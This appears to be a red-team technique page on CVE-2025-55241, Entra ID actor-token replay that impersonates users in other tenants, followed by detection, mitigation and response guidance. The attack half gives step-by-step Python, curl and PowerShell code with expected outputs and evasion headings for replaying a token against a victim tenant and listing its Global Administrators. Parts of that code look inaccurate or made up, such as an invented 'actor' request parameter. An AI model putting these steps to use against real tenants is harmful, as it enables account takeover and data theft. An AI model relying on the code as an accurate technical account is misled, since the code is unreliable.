| Attribute | Details |
|---|---|
| Technique ID | REALWORLD-005 |
| MITRE ATT&CK v18.1 | T1550 - Use Alternate Authentication Material |
| Tactic | Lateral Movement, Defense Evasion |
| Platforms | Entra ID, Cross-Cloud |
| Severity | Critical |
| CVE | CVE-2025-55241 |
| Technique Status | FIXED |
| Last Verified | 2025-09-30 |
| Affected Versions | Entra ID (all versions prior to September 2025 patch) |
| Patched In | September 2025 (Azure AD Graph API token validation hardening) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: CVE-2025-55241 exploited undocumented “Actor” tokens—internal service-to-service (S2S) authentication mechanisms used by Microsoft—that contained no tenant-specific cryptographic binding. A critical validation flaw in the deprecated Azure AD Graph API (graph.windows.net) allowed attackers to obtain an actor token from their own tenant and replay it against a victim’s tenant to impersonate arbitrary users, including Global Administrators. This attack bypassed all conditional access policies, MFA enforcement, and device compliance checks because actor tokens were never subject to these controls. The vulnerability remained undetectable because actor token requests generate no audit logs in the victim’s tenant, and the legacy Graph API lacked API-level logging infrastructure.
Attack Surface: Microsoft Entra ID infrastructure, specifically the legacy Azure AD Graph API endpoint (graph.windows.net) and the undocumented actor token generation mechanism used by backend services.
Business Impact: Complete cross-tenant takeover possible without authentication. An unauthenticated attacker with access to any Entra ID tenant (even a test tenant created for reconnaissance) could escalate to Global Administrator in any other tenant, enabling data exfiltration, ransomware deployment, identity infrastructure compromise, and pivot to connected SaaS applications (Microsoft 365, Teams, SharePoint, OneDrive). The absence of logging means breach detection and forensics become extremely difficult.
Technical Context: The attack chain typically takes 5-10 minutes from initial reconnaissance to Global Admin access. Detection was nearly impossible before patching because actor token usage was entirely undocumented and unlogged. Organizations had no visibility into whether this attack was occurring in their environment.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | AC-2.1 | Account management control failure - No tenant isolation enforcement in legacy API |
| DISA STIG | AC-2.1 | Inadequate session validation and token binding enforcement |
| CISA SCuBA | Entra ID - 2.2 | Tenant isolation and cross-tenant access controls not enforced |
| NIST 800-53 | AC-3 | Access enforcement failure due to lack of token context validation |
| NIST 800-53 | IA-8 | Identification and authentication failure - No tenant-specific authentication context |
| GDPR | Art. 32 | Security of processing breach - Failure to implement cryptographic token binding |
| DORA | Art. 9 | Protection and prevention - Multi-tenancy boundary violation |
| NIS2 | Art. 21 | Cyber risk management - Failure to detect and prevent unauthorized authentication |
| ISO 27001 | A.9.2.3 | Management of privileged access rights - Tenant isolation bypass |
| ISO 27005 | Risk ID-15 | Cross-tenant authentication bypass scenario |
Required Privileges:
Required Access:
https://login.microsoftonline.com/ and https://graph.windows.net/https://{tenant}.onmicrosoft.com/.well-known/openid-configuration)Supported Versions:
graph.windows.net (removed September 2025; modern graph.microsoft.com never vulnerable)Tools:
Attackers often target organizations still using legacy Graph endpoints in their applications. Identify vulnerable dependencies:
# Search for Azure AD Graph API dependencies in registered applications
Connect-MgGraph -Scopes "Application.Read.All"
Get-MgApplication -Filter "api/requiredResourceAccess/any(x:x/resourceAppId eq '00000002-0000-0000-c000-000000000000')" |
Select-Object DisplayName, AppId, CreatedDateTime
# Check for graph.windows.net usage in app manifests
Get-MgApplication -All | Where-Object {
$_.Web.RedirectUris -match "graph.windows.net" -or
$_.RequiredResourceAccess | Where-Object {$_.ResourceAppId -eq "00000002-0000-0000-c000-000000000000"}
} | Select-Object DisplayName, AppId
What to Look For:
resourceAppId of 00000002-0000-0000-c000-000000000000 (Azure AD Graph API)graph.windows.net or legacy endpointsDirectory.Read.All or similar scopes via legacy authenticationNote: Post-September 2025, applications using legacy Graph API will receive 400 Bad Request or 403 Forbidden responses.
Attackers first identify target tenants through anonymous queries:
# Enumerate Entra ID tenant information (requires no authentication)
$TenantId = "contoso.onmicrosoft.com"
$DiscoveryUrl = "https://login.microsoftonline.com/$TenantId/.well-known/openid-configuration"
$TenantInfo = Invoke-RestMethod -Uri $DiscoveryUrl
$TenantInfo | Format-Table
# Extract authorization and token endpoints
$TokenEndpoint = $TenantInfo.token_endpoint
Write-Host "Token Endpoint: $TokenEndpoint"
What to Look For:
token_endpoint and authorization_endpoint URLs for subsequent exploitation.onmicrosoft.com tenants)Supported Versions: All Entra ID versions prior to September 2025
Objective: Request an actor token from the Access Control Service (ACS) in the attacker’s own Entra ID environment. No authentication required at this stage if attacker controls a service principal.
Command (Using Python/Requests):
import requests
import json
import jwt
# Attacker's tenant details
attacker_tenant = "attacker.onmicrosoft.com"
token_endpoint = f"https://login.microsoftonline.com/{attacker_tenant}/oauth2/v2.0/token"
# Attacker controls this service principal with certificate
client_id = "attacker-client-id"
assertion = """
# Service principal certificate-signed JWT assertion
# (attacker creates this using stolen certificate or Mimikatz extracted PRT)
"""
payload = {
"client_id": client_id,
"assertion": assertion,
"grant_type": "urn:ietf:params:oauth:grant-type:saml2-bearer",
"requested_token_use": "on_behalf_of",
"actor": "graph" # Request actor token role
}
response = requests.post(token_endpoint, data=payload)
actor_token = response.json()["access_token"]
# Decode to inspect claims (JWT structure)
decoded = jwt.decode(actor_token, options={"verify_signature": False})
print(json.dumps(decoded, indent=2))
Expected Output (Decoded JWT):
{
"aud": "https://graph.windows.net",
"iss": "https://sts.windows.net/{attacker-tenant-id}/",
"iat": 1727000000,
"exp": 1727003600,
"ver": "1.0",
"scp": "Directory.Read.All",
"app_displayname": "Microsoft Graph",
"appid": "00000002-0000-0000-c000-000000000000",
"actor": "true"
}
What This Means:
aud: https://graph.windows.net - Token valid for legacy Graph APIactor: true - This is an actor token (undocumented internal flag)scp: Directory.Read.All - Can read all directory information in any tenantOpSec & Evasion:
Troubleshooting:
AADSTS700016: Application not found in directory
Get-MgServicePrincipal -Filter "appId eq '{client-id}'" to verifyAADSTS90002: Tenant request body is empty
actor parameter or malformed payloadactor parameter is present and payload is properly URL-encodedReferences & Proofs:
Objective: Use the obtained actor token to authenticate against the victim organization’s legacy Graph API endpoint, impersonating an arbitrary user.
Command (Using curl):
# Victim tenant and target user
VICTIM_TENANT="victim.onmicrosoft.com"
VICTIM_TENANT_ID="00000000-0000-0000-0000-000000000001"
TARGET_USER_UPRINCIPAL="victim-user@victim.onmicrosoft.com"
# Actor token obtained in Step 1
ACTOR_TOKEN="eyJ0eXAiOiJKV1QiLCJhbGc..."
# Construct legacy Graph API request with actor token
# Vulnerability: graph.windows.net accepts actor token without validating source tenant
curl -X GET \
-H "Authorization: Bearer $ACTOR_TOKEN" \
-H "Content-Type: application/json" \
"https://graph.windows.net/$VICTIM_TENANT_ID/users?api-version=1.6&\$filter=userPrincipalName eq '$TARGET_USER_UPRINCIPAL'"
Expected Output (If Vulnerable):
{
"value": [
{
"objectId": "550e8400-e29b-41d4-a716-446655440001",
"userPrincipalName": "victim-user@victim.onmicrosoft.com",
"displayName": "Victim User",
"mail": "victim-user@victim.onmicrosoft.com",
"accountEnabled": true,
"mailNickname": "victimuser"
}
]
}
What This Means:
OpSec & Evasion:
Troubleshooting:
AADSTS50058: Silent sign-in request failed
AADSTS900561: Invalid scope 'Graph'
aud claim for legacy GraphReferences & Proofs:
Objective: Once actor token access is confirmed, use the same token to read global administrator list and prepare for escalation.
Command (Using PowerShell):
# Enumerate Global Administrators in victim tenant
$ActorToken = "eyJ0eXAiOiJKV1QiLCJhbGc..."
$VictimTenantId = "00000000-0000-0000-0000-000000000001"
$Headers = @{
"Authorization" = "Bearer $ActorToken"
"Content-Type" = "application/json"
}
# Get Global Administrator role ID
$RoleUrl = "https://graph.windows.net/$VictimTenantId/directoryRoles?api-version=1.6&\$filter=displayName eq 'Global Administrator'"
$RoleResponse = Invoke-RestMethod -Uri $RoleUrl -Headers $Headers
$GlobalAdminRoleId = $RoleResponse.value[0].objectId
# Get members of Global Administrator role
$MembersUrl = "https://graph.windows.net/$VictimTenantId/directoryRoles/$GlobalAdminRoleId/members?api-version=1.6"
$MembersResponse = Invoke-RestMethod -Uri $MembersUrl -Headers $Headers
Write-Host "Global Administrators in victim tenant:"
$MembersResponse.value | ForEach-Object { Write-Host $_.userPrincipalName }
Expected Output:
Global Administrators in victim tenant:
admin@victim.onmicrosoft.com
cloud-admin@victim.onmicrosoft.com
emergency-admin@victim.onmicrosoft.com
What This Means:
OpSec & Evasion:
References & Proofs:
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Discovery | [REC-CLOUD-002] Azure AD Enumeration | Attacker enumerates tenant structure and identifies Global Admins using public APIs |
| 2 | Initial Access | [REALWORLD-005] Actor Token Impersonation | THIS TECHNIQUE - Attacker obtains and replays actor token to impersonate user |
| 3 | Lateral Movement | [REALWORLD-007] Token Replay Cross-Tenant | Attacker escalates actor token to cross-tenant impersonation |
| 4 | Privilege Escalation | [REALWORLD-008] Account Manipulation to Global Admin | Attacker uses impersonated Global Admin to grant themselves permanent access |
| 5 | Persistence | Conditional Access Policy Manipulation | Attacker disables security controls for persistence |
| 6 | Impact | Data Exfiltration / Ransomware Deployment | Attacker accesses Microsoft 365, Azure, or exfiltrates sensitive data |
Disk:
%APPDATA%\Roaming\Mozilla\Firefox\Profiles\*\cache2\ (if Firefox used) or %APPDATA%\Local\Google\Chrome\User Data\Default\Cache\ (if Chrome used)Memory:
Cloud (Entra ID / Microsoft Graph):
Network:
https://login.microsoftonline.com/{attacker-tenant}/oauth2/v2.0/tokenhttps://graph.windows.net/{victim-tenant-id}/... with actor token bearer tokenlogin.microsoftonline.com and graph.windows.net will be legitimate Microsoft certificatesImmediate Action - Disable Legacy Graph API Access:
Organizations MUST verify no applications depend on Azure AD Graph API (deprecated endpoint). Microsoft enforced full removal by September 1, 2025.
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
# Connect to Microsoft Graph
Connect-MgGraph -Scopes "Application.Read.All"
# Find all apps using legacy Azure AD Graph API
$LegacyGraphAppId = "00000002-0000-0000-c000-000000000000"
$Apps = Get-MgApplication -All
foreach ($App in $Apps) {
$HasLegacy = $App.RequiredResourceAccess | Where-Object {
$_.ResourceAppId -eq $LegacyGraphAppId
}
if ($HasLegacy) {
Write-Host "Legacy API found in: $($App.DisplayName) (AppId: $($App.AppId))"
# Remove legacy permissions
$App.RequiredResourceAccess = @($App.RequiredResourceAccess | Where-Object {
$_.ResourceAppId -ne $LegacyGraphAppId
})
# Update app
Update-MgApplication -ApplicationId $App.Id -RequiredResourceAccess $App.RequiredResourceAccess
Write-Host "Removed legacy API permissions from $($App.DisplayName)"
}
}
Entra ID Token Protection (Conditional Access):
Token Protection cryptographically binds tokens to devices, preventing token replay attacks (including actor tokens if modern APIs are used exclusively).
Manual Steps (Azure Portal):
Token Protection - All Users and Cloud AppsValidation Command (Verify Fix):
# Verify token protection is enabled
Connect-MgGraph -Scopes "ConditionalAccess.Read.All"
$Policy = Get-MgIdentityConditionalAccessPolicy -Filter "displayName eq 'Token Protection - All Users and Cloud Apps'"
if ($Policy.SessionControls.ApplicationEnforcedRestrictions.IsEnabled) {
Write-Host "✓ Token protection is ENABLED"
} else {
Write-Host "✗ Token protection is DISABLED - CRITICAL GAP"
}
Expected Output (If Secure):
✓ Token protection is ENABLED
SessionControl: "BoundSessionWithTokenProtection"
Mode: "Strict"
Require Compliant Devices:
# PowerShell script to enable device compliance requirement
$PolicyParams = @{
DisplayName = "Require Compliant Device - All Users"
State = "enabledForReportingButNotEnforced" # Start in report-only mode
Conditions = @{
Users = @{
IncludeUsers = "All"
}
Applications = @{
IncludeApplications = "All"
}
Locations = @{
IncludeLocations = "All"
}
}
GrantControls = @{
Operator = "OR"
BuiltInControls = @("CompliantDevice", "DomainJoinedDevice")
}
}
New-MgIdentityConditionalAccessPolicy @PolicyParams
Block Legacy Authentication Protocols:
$BlockLegacyAuthPolicy = @{
DisplayName = "Block Legacy Authentication"
State = "enabled"
Conditions = @{
Users = @{
IncludeUsers = "All"
}
Applications = @{
IncludeApplications = "All"
}
ClientAppTypes = @("ExchangeActiveSync", "Other") # Block IMAP, POP3, SMTP, legacy auth
}
GrantControls = @{
Operator = "OR"
BuiltInControls = @("Block")
}
}
New-MgIdentityConditionalAccessPolicy @BlockLegacyAuthPolicy
Ensure Unified Audit Log is Enabled (Microsoft 365):
# Connect to Exchange Online
Connect-ExchangeOnline
# Check if unified audit log is enabled
Get-AdminAuditLogConfig | Select-Object UnifiedAuditLogIngestionEnabled
If NOT enabled:
# Enable unified audit log
Set-AdminAuditLogConfig -UnifiedAuditLogIngestionEnabled $true
Validate Application Logging Configuration:
# Check which services are logging audit data
Get-MgActivityLog -Top 10 | Format-Table ResourceDisplayName, OperationName, CreatedDateTime -AutoSize
Restrict Global Administrator logins to dedicated, hardened devices that do not access internet or user-controlled email.
Manual Steps:
# Comprehensive mitigation validation script
$Results = @()
# 1. Check legacy API usage
$LegacyApps = Get-MgApplication -All | Where-Object {
$_.RequiredResourceAccess | Where-Object {
$_.ResourceAppId -eq "00000002-0000-0000-c000-000000000000"
}
}
if ($LegacyApps.Count -eq 0) {
$Results += "✓ No legacy Azure AD Graph API usage detected"
} else {
$Results += "✗ CRITICAL: $($LegacyApps.Count) apps using legacy API"
}
# 2. Check token protection
$TokenProtectionPolicy = Get-MgIdentityConditionalAccessPolicy | Where-Object {
$_.SessionControls.ApplicationEnforcedRestrictions.IsEnabled -eq $true
}
if ($TokenProtectionPolicy) {
$Results += "✓ Token protection is enabled"
} else {
$Results += "✗ Token protection not enabled"
}
# 3. Check audit logging
$AuditEnabled = (Get-AdminAuditLogConfig).UnifiedAuditLogIngestionEnabled
$Results += if ($AuditEnabled) { "✓ Audit logging enabled" } else { "✗ Audit logging disabled" }
# Output results
$Results | ForEach-Object { Write-Host $_ }
In Entra ID Audit Logs (Post-Compromise):
Modify user properties events for high-privilege accounts (Global Admins)Add app role assignment to service principal events adding high-privilege rolesCreate service principal events followed immediately by Update application (backdoor creation)ClientAppType: "LegacyClient" accessing legacy Graph APIIn Microsoft Sentinel / Azure Monitor:
Network IOCs:
graph.windows.net (legacy endpoint) from non-Microsoft IPs/directoryRoles/members or /users?filter= patternsCloud Artifacts:
AuthenticationProcessingDetails containing legacy authentication protocol indicatorsOn-Premises (If Hybrid):
Immediate (0-1 hour):
# Revoke all refresh tokens for suspected compromised user
Connect-MgGraph -Scopes "User.ManageIdentities.All"
$User = Get-MgUser -UserId "admin@victim.onmicrosoft.com"
Revoke-MgUserSignInSession -UserId $User.Id
# Disable user account temporarily
Update-MgUser -UserId $User.Id -AccountEnabled:$false
# Find suspicious service principals created recently
Get-MgServicePrincipal -Filter "createdDateTime gt 2025-09-15" |
ForEach-Object { Write-Host "Check: $($_.DisplayName)" }
# Remove suspicious service principals
Remove-MgServicePrincipal -ServicePrincipalId "suspicious-app-id"
# Export security event logs for forensics
wevtutil epl Security "C:\Evidence\Security.evtx"
# Export Entra ID audit logs
Search-UnifiedAuditLog -Operations "Add app role assignment to service principal", "Create service principal" `
-StartDate (Get-Date).AddDays(-30) -EndDate (Get-Date) | Export-Csv "C:\Evidence\AuditLogs.csv"
Short-term (1-24 hours):
# Rotate all service principal credentials
Get-MgServicePrincipal -All | ForEach-Object {
# Delete old credentials
Get-MgServicePrincipalPasswordCredential -ServicePrincipalId $_.Id |
Remove-MgServicePrincipalPasswordCredential -ServicePrincipalId $_.Id
# Add new credentials
Add-MgServicePrincipalPassword -ServicePrincipalId $_.Id
}
# Verify all CA policies are unchanged
Get-MgIdentityConditionalAccessPolicy -All |
Select-Object DisplayName, State | Format-Table
CVE-2025-55241 represents one of the most critical identity infrastructure vulnerabilities in cloud security history because it exploited a trust boundary—the assumption that tokens cannot be replayed across tenant boundaries. The vulnerability was FIXED in September 2025 through:
Organizations are recommended to:
The absence of logs in the victim tenant during exploitation makes this attack nearly undetectable without investment in behavioral analysis and impossible travel detection via Azure AD Identity Protection.